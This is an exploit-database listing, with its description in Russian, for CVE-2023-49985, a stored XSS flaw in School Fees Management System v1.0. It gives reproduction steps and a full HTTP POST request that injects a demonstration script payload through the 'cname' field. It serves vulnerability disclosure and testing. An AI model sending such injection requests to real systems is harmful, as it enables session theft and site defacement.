Sploitus

Exploit for CVE-2023-49985

kitploit · 2026-09-12

Exploit Code

MARKDOWN47 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49985
# CVE-2023-49985

# School Fees Management System v1.0 - Уязвимость межсайтового скриптинга (XSS) в параметре "cname" в "new_class"

**Описание** : Уязвимость межсайтового скриптинга (XSS) в компоненте "new_class" School Fees Management System v1.0 позволяет злоумышленникам выполнять произвольные веб-скрипты или HTML-код через специально созданную вредоносную нагрузку, внедрённую в параметр cname.

**Версия уязвимого продукта** : School Fees Management System v1.0  
**Автор CVE** : Geraldo Alcântara  
**Дата** : 28/11/2023  
**Подтверждено** : 19/12/2023  
**CVE** : CVE-2023-49985  
**Протестировано на** : Windows

### Шаги для воспроизведения:

Для эксплуатации уязвимости пользователь с соответствующими правами должен получить доступ к странице "/ci_fms/admin/management/class". На этой странице пользователь должен либо отредактировать существующий класс, либо добавить новый. Вредоносная нагрузка должна быть вставлена в параметр "cname" в ходе этого процесса.

### Запрос:

root@kitploit:~
    
    
    POST /ci_fms/admin/action/new_class HTTP/1.1
    Host: 192.168.68.148
    Content-Length: 273
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.68.148
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbJT9XS9eFLU53MR
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://192.168.68.148/ci_fms/admin/management/class
    Accept-Encoding: gzip, deflate, br
    Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: ci_session=gdoj5tr7rsf7ci5o9rpr0rh5eni2r6an
    Connection: close
    
    ------WebKitFormBoundaryAbJT9XS9eFLU53MR
    Content-Disposition: form-data; name="cname"
    
    <script>alert(document.domain)</script>
    ------WebKitFormBoundaryAbJT9XS9eFLU53MR
    Content-Disposition: form-data; name="cfees"
    
    12,000
    ------WebKitFormBoundaryAbJT9XS9eFLU53MR--